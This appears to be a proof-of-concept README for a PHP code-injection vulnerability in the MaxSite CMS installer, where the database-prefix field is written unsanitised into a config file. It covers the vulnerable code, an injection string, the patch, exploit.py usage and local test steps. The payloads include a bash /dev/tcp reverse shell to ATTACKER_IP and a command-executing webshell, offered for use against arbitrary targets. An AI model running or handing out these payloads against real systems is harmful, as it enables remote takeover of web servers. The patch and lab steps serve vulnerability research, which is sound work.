function newDatabase($PV)
{
    if (file_exists(MSODIR . 'application/config/database.php-distr')) {
        $file = file_get_contents(MSODIR . 'application/config/database.php-distr');
        
        // ... other replacements ...
        
        // VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
        $file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';', 
                            '$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';', 
                            $file);
        
        file_put_contents(MSODIR . 'application/config/database.php', $file);
        return false;
    }
    // ...
}

db_dbprefix=mso_'; system('id'); //

$db['default']['dbprefix'] = 'mso_'; system('id'); //';

if (file_exists(MSODIR . 'application/config/database.php-distr')
    and
    !file_exists(MSODIR . 'application/config/database.php'))  // NEW CHECK
{
    // ... create database.php only if it doesn't exist
}

git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests

# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only

# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com

# Custom payload: reverse shell
python3 exploit.py http://target.com \
  --cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'

# Custom payload: write webshell
python3 exploit.py http://target.com \
  --cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'

--cmd           PHP code to inject (default: file write test)
--check-only    Only check if install endpoint is accessible
--db-host       Database hostname (default: localhost)
--db-user       Database username (default: test)
--db-pass       Database password (default: test)
--db-name       Database name (default: test)

# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5

# 2. Start PHP built-in server
php -S 127.0.0.1:8000

# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000

# Check if database.php was modified
cat application/config/database.php | grep dbprefix

# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';

# Trigger execution
curl http://127.0.0.1:8000/

# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt